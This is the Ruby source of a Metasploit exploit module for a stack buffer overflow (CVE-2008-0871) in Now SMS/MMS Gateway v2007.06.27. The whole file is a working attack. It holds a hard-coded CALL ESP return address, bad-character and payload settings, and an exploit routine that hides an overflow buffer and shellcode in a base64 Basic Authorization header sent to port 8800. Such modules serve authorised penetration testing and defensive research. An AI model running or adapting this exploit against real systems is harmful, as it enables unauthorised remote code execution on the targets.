cgranleese-r7
73 lines
2.0 KiB
Ruby
73 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Now SMS/MMS Gateway Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.
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By sending a specially crafted GET request, an attacker may be able to execute
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arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2008-0871' ],
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[ 'OSVDB', '42953'],
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[ 'BID', '27896' ],
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],
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'DefaultOptions' => {
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' => {
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'Space' => 0x94,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' => [
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[ 'Now SMS/MMS Gateway v2007.06.27', { 'Ret' => 0x10002f9d } ], # CALL ESP : SMSHMAC.DLL
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2008-02-19',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options([ Opt::RPORT(8800) ])
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end
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def exploit
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c = connect
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data = Rex::Text.encode_base64(rand_text_english(129) + [target.ret].pack('V') + payload.encoded)
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print_status("Trying target #{target.name}...")
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res = send_request_raw({
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'uri' => '/',
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'method' => 'GET',
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'headers' =>
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{
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'Authorization' => "Basic #{Rex::Text.encode_base64(data)}"
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}
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}, 5)
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handler
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end
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end
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